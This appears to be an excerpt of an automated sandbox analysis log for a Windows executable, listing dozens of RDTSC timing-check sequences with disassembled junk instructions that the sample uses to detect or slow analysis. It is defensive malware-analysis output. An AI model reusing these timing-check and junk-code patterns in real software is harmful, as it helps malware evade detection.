Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 769D51 second address: 769D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F7290C62CACh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7290C62CB7h 0x00000012 jmp 00007F7290C62CACh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 769F1C second address: 769F27 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76B799 second address: 76B79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6D5885 second address: 6D5889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6D5889 second address: 6D58CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F7290C62CAEh 0x0000000c pop edi 0x0000000d push edi 0x0000000e jmp 00007F7290C62CB8h 0x00000013 pop edi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7290C62CB1h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F30B second address: 76F315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F315 second address: 76F327 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F327 second address: 76F32B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F32B second address: 76F34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F7290C62CAAh 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F5F3 second address: 76F60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7290766B2Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F60C second address: 76F610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F77C second address: 76F7B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290766B26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F7290766B2Dh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a jc 00007F7290766B26h 0x00000020 pushad 0x00000021 popad 0x00000022 jl 00007F7290766B26h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d jg 00007F7290766B26h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76FC42 second address: 76FC53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F7290C62CAAh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7757B5 second address: 775805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F7290766B2Ch 0x00000012 jc 00007F7290766B26h 0x00000018 jmp 00007F7290766B30h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7290766B2Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 775805 second address: 77580B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77580B second address: 775811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 775811 second address: 775816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 775816 second address: 77581C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C7FCF second address: 6C7FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F7290C62CA6h 0x0000000c je 00007F7290C62CA6h 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C7FE9 second address: 6C7FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7290766B26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C7FF4 second address: 6C8021 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jns 00007F7290C62CBEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C8021 second address: 6C8025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77417E second address: 774182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774182 second address: 774188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7742CD second address: 774324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB8h 0x00000007 jns 00007F7290C62CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007F7290C62CB7h 0x00000015 jmp 00007F7290C62CB9h 0x0000001a pop esi 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774324 second address: 77432A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774475 second address: 77447B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77447B second address: 774481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774481 second address: 774486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774486 second address: 77448C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77448C second address: 7744C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F7290C62CE2h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7290C62CB6h 0x00000018 jmp 00007F7290C62CB0h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7744C5 second address: 7744D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77460F second address: 774615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774615 second address: 77462B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B32h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77462B second address: 774635 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774635 second address: 77463B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77463B second address: 77463F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77463F second address: 77464E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7134BF second address: 71355F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7290C62CA6h 0x0000000a popad 0x0000000b jns 00007F7290C62CB8h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov ebx, dword ptr [ebp+1528048Fh] 0x0000001b js 00007F7290C62CAAh 0x00000021 mov di, A0DFh 0x00000025 add eax, ebx 0x00000027 mov dword ptr [ebp+150D1F6Eh], ecx 0x0000002d push eax 0x0000002e push edi 0x0000002f jmp 00007F7290C62CACh 0x00000034 pop edi 0x00000035 mov dword ptr [esp], eax 0x00000038 mov edx, dword ptr [ebp+150D2247h] 0x0000003e push 00000004h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F7290C62CA8h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 0000001Ah 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a cld 0x0000005b nop 0x0000005c ja 00007F7290C62CBDh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71355F second address: 713564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774ABA second address: 774ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jo 00007F7290C62CA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774ACA second address: 774AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774AD3 second address: 774AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774AD7 second address: 774AE7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7290766B26h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754A4 second address: 7754A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754A8 second address: 7754B5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754B5 second address: 7754BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754BF second address: 7754C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754C9 second address: 7754CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754CF second address: 7754DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F7290766B26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 777F60 second address: 777F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CAFh 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 777F78 second address: 777F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7290766B31h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 778384 second address: 778388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 778388 second address: 77839A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F7290766B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7802FF second address: 78033E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7290C62CB2h 0x0000000d push esi 0x0000000e jne 00007F7290C62CA6h 0x00000014 jmp 00007F7290C62CAAh 0x00000019 pop esi 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F7290C62CAFh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78033E second address: 780353 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F7290766B2Ah 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 780353 second address: 78035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6DE0AE second address: 6DE0BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6DE0BF second address: 6DE0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7290C62CADh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77E581 second address: 77E585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6CECE8 second address: 6CECEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 783E9A second address: 783EAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 783EAB second address: 783EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 783EB1 second address: 783EBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F7290766B26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 784184 second address: 784194 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7290C62CB2h 0x00000008 js 00007F7290C62CA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 784194 second address: 7841B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007F7290766B26h 0x00000017 push edx 0x00000018 pop edx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7841B0 second address: 7841E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F7290C62CA6h 0x00000009 jmp 00007F7290C62CB2h 0x0000000e jmp 00007F7290C62CB8h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7848E9 second address: 7848FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007F7290766B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7848FB second address: 7848FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78934A second address: 789350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 789350 second address: 789354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 789354 second address: 78937B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7290766B26h 0x00000008 jmp 00007F7290766B2Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F7290766B31h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78937B second address: 7893CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7290C62CA6h 0x00000009 jmp 00007F7290C62CB3h 0x0000000e jmp 00007F7290C62CB1h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 jmp 00007F7290C62CACh 0x0000001e pop esi 0x0000001f pushad 0x00000020 jnc 00007F7290C62CA6h 0x00000026 pushad 0x00000027 popad 0x00000028 jc 00007F7290C62CA6h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78AA66 second address: 78AA6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78AA6C second address: 78AA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 78AA70 second address: 78AA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 794282 second address: 79428C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79428C second address: 794290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 794290 second address: 794296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 794296 second address: 79429E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79251C second address: 792522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792522 second address: 792526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792526 second address: 792530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792530 second address: 792536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7927EE second address: 7927F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7927F2 second address: 7927F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7927F6 second address: 792814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7290C62CABh 0x0000000b jo 00007F7290C62CAAh 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792A99 second address: 792AA1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792AA1 second address: 792AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792C37 second address: 792C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
